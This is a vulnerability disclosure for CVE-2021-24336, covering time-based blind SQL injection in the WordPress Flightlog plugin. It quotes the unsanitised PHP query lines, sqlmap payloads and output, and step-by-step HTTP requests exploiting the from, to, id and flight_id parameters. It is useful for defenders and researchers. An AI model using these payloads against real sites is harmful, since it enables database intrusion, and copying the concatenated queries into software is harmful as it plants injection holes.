Wp Plugin Flightlog

Plugin Details

Plugin Name: wp-plugin : flightlog
Effected Version : 3.0.2 (and most probably lower version's if any)
Vulnerability : Injection
Minimum Level of Access Required : Editor
CVE Number : CVE-2021-24336
Identified by : Shreya Pohekar
WPScan Reference URL

Disclosure Timeline

- April 19, 2021: Issue Identified and Disclosed to WPScan
- April 19, 2021 : Plugin Closed
- May 17, 2021 : CVE Assigned
- May 19, 2021 : Public Disclosure

Technical Details

Multiple vulnerable parameters were identified affected by time based blind SQL Injection in flightlog plugin.

Vulnerable File: `flightlog/flightlog.php`

Vulnerable Code block and parameter:

1. Editor level SQLi for parameter `from` flightlog.php#L520

```
520: $results1 = $wpdb->get_results('SELECT lat, lng FROM ' . $wpdb->prefix . 'flightlog_airports WHERE id=' . $_POST["from"])
```

2. Editor Level SQLi for parameter `to` flightlog.php#L527

```
527: $results2 = $wpdb->get_results('SELECT lat, lng FROM ' . $wpdb->prefix . 'flightlog_airports WHERE id=' . $_POST["to"]);
```

3. Admin level SQLi for parameter `id` flightlog.php#L302

```
302: $results = $wpdb->get_results('SELECT * FROM ' . $wpdb->prefix . 'flightlog_' . $section . ' WHERE id=' . $_POST["id"]);
```

4. Unreachable injection point however if the item in number 3 is fixed this can still cause SQL Injection. parameter `id` flightlog.php#L316

```
316: $results = $wpdb->get_results('SELECT ff.id, fa1.lat AS lat1, fa1.lng AS lng1, fa2.lat AS lat2, fa2.lng AS lng2 FROM ' .
```

5. Editor level SQL Injection for parameter `flight_id` flightlog.php#L546

```
546: $results_rem = $wpdb->get_results("SELECT flight_id FROM " . $wpdb->prefix . "flightlog_flights_remarks WHERE flight_id="
```

SQL Injection Type: Blind Time based SQL Injection

PoC Screenshot:

1. `to` and `from` parameters (Editor Level)

```
[22:42:00] [INFO] checking if the injection point on POST parameter 'to' is a false positive
POST parameter 'to' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 114 HTTP(s) requests:
---
Parameter: from (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: section=flight&dt=&from=1 AND (SELECT 1453 FROM (SELECT(SLEEP(5)))floV)&to=1&carrier=1&aircraft=1&ifr_vfr=0&day_night=0&approaches=&landing
s=&plane_id=&Submit=Add

Parameter: to (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: section=flight&dt=&from=1&to=1 AND (SELECT 5263 FROM (SELECT(SLEEP(5)))iTUP)&carrier=1&aircraft=1&ifr_vfr=0&day_night=0&approaches=&landing
s=&plane_id=&Submit=Add
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: from, type: Unescaped numeric (default)
[1] place: POST, parameter: to, type: Unescaped numeric
[q] Quit
> 0
[22:42:20] [INFO] the back-end DBMS is MySQL
[22:42:20] [INFO] fetching banner
[22:42:20] [INFO] retrieved:
[22:42:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[22:42:38] [INFO] adjusting time delay to 2 seconds due to good response times
8.0.23-0ubuntu0.20.04.1
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.23-0ubuntu0.20.04.1'
[22:46:05] [INFO] fetching current user
[22:46:05] [INFO] retrieved: bob@localhost
current user: 'bob@localhost'
[22:47:37] [INFO] fetching current database
[22:47:37] [INFO] retrieved: wp
current database: 'wp'
```

2. `id` parameter vulnerable (Admin Level)

```
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: section=airports&id=2 AND (SELECT 1421 FROM (SELECT(SLEEP(5)))GfMZ)&name=bhopal&iata=BHO&lat=0.0000000&lng=0.0000000&Submit=Update
---
[04:20:29] [INFO] the back-end DBMS is MySQL
[04:20:29] [INFO] fetching banner
[04:20:29] [INFO] retrieved:
[04:20:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[04:21:28] [INFO] adjusting time delay to 1 second due to good response times
8.0.23-0ubuntu0.^[[A20.04.1
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.23-0ubuntu0.20.04.1'
[04:23:18] [INFO] fetching current user
[04:23:18] [INFO] retrieved: bob@localhost
current user: 'bob@localhost'
[04:24:07] [INFO] fetching current database
[04:24:07] [INFO] retrieved: wp
current database: 'wp'
```

3. `flight_id` parameter vulnerable (Editor Level)

```
[16:12:35] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[16:12:46] [INFO] POST parameter 'flight_id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[16:12:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:12:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:12:53] [INFO] checking if the injection point on POST parameter 'flight_id' is a false positive
POST parameter 'flight_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: flight_id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: flight_id=1 AND (SELECT 2208 FROM (SELECT(SLEEP(5)))cHdx)&section=rem&remark=test123&Submit=Update
---
[16:14:56] [INFO] the back-end DBMS is MySQL
[16:14:56] [INFO] fetching banner
[16:14:56] [INFO] resumed: 8.0.23-0ubuntu0.20.04.1
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.23-0ubuntu0.20.04.1'
```

Exploit

1. `to` and `from` parameters (Editor Level)

   a. After installation, go to tools and click flightlog

   b. Add a record

   c. POST parameter `to` and `from` are vulnerable to AND time-based blind SQL injection

Vulnerable Request

```
POST http://172.28.128.50/wp-admin/tools.php?page=flightlog-entries-menu HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 116
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
```

```
Referer: http://172.28.128.50/wp-admin/tools.php?page=flightlog-entries-menu
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=editor%7C1618784241%7CEIPCnFeOZ1pqsXlQU1BkDsR8puOcuHIjo8JwfkemAnE%7Cd0b5558
Host: 172.28.128.50

section=flight&dt=&from=1&to=1&carrier=1&aircraft=1&ifr_vfr=0&day_night=0&approaches=&landings=&plane_id=&Submit=Add
```

SQLMap Output

```
sqlmap identified the following injection point(s) with a total of 467 HTTP(s) requests:
---
Parameter: to (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: section=flight&dt=&from=1&to=1 AND (SELECT 1824 FROM (SELECT(SLEEP(5)))Eims)&carrier=1&aircraft=1&ifr_vfr=0&day_n

Parameter: from (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: section=flight&dt=&from=1 AND (SELECT 9760 FROM (SELECT(SLEEP(5)))zCHx)&to=1&carrier=1&aircraft=1&ifr_vfr=0&day_n
---
```

2. id parameter vulnerable (Admin Level)

   a. Go to settings and click Flighlog.

   b. Add an airport.

   c. Update the airport and intercept the request with burp.

   d. POST parameter id is vulnerable to time-based blind sqli

Vulnerable Request

```
POST http://172.28.128.50/wp-admin/options-general.php?page=flightlog-settings-menu HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 84
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Referer: http://172.28.128.50/wp-admin/options-general.php?page=flightlog-settings-menu
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1618785857%7CLqV6XnEQtqBfao4p87KO3hj9fwkwplFmvPidCq3c6yK%7C963f01bc
Host: 172.28.128.50

section=airports&id=2&name=a&iata=BHO&lat=0.0000000&lng=0.0000000&Submit=Update
```

SQLMap Output

```
Parameter: id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: section=airports&id=2 AND (SELECT 1421 FROM (SELECT(SLEEP(5)))GfMZ)&name=bhopal&iata=BHO&lat=0.0000000&lng=0.0000
```

3. flight_id parameter vulnerable (Editor Level)

   a. Login as editor

   b. Go to tools and click flightlog

   c. Edit a flight log entry and add a remark and intercept the request with burp.

d. POST parameter `flight_id` is vulnerable to time-based blind sqli.

Vulnerable Request

```
POST http://172.28.128.50/wp-admin/tools.php?page=flightlog-entries-menu HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 52
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Referer: http://172.28.128.50/wp-admin/tools.php?page=flightlog-entries-menu
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=editor%7C1618786846%7CkUuWiXfNEdSOPXWQ2y3S7W7TWF31ZqU9uPy8wyN5AbU%7C1e866f6
Host: 172.28.128.50

flight_id=3045&section=rem&remark=Test&Submit=Update
```

SQLMap Output

```
Parameter: flight_id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: flight_id=3045 AND (SELECT 1932 FROM (SELECT(SLEEP(5)))XEdw)&section=rem&remark=Test&Submit=Update
```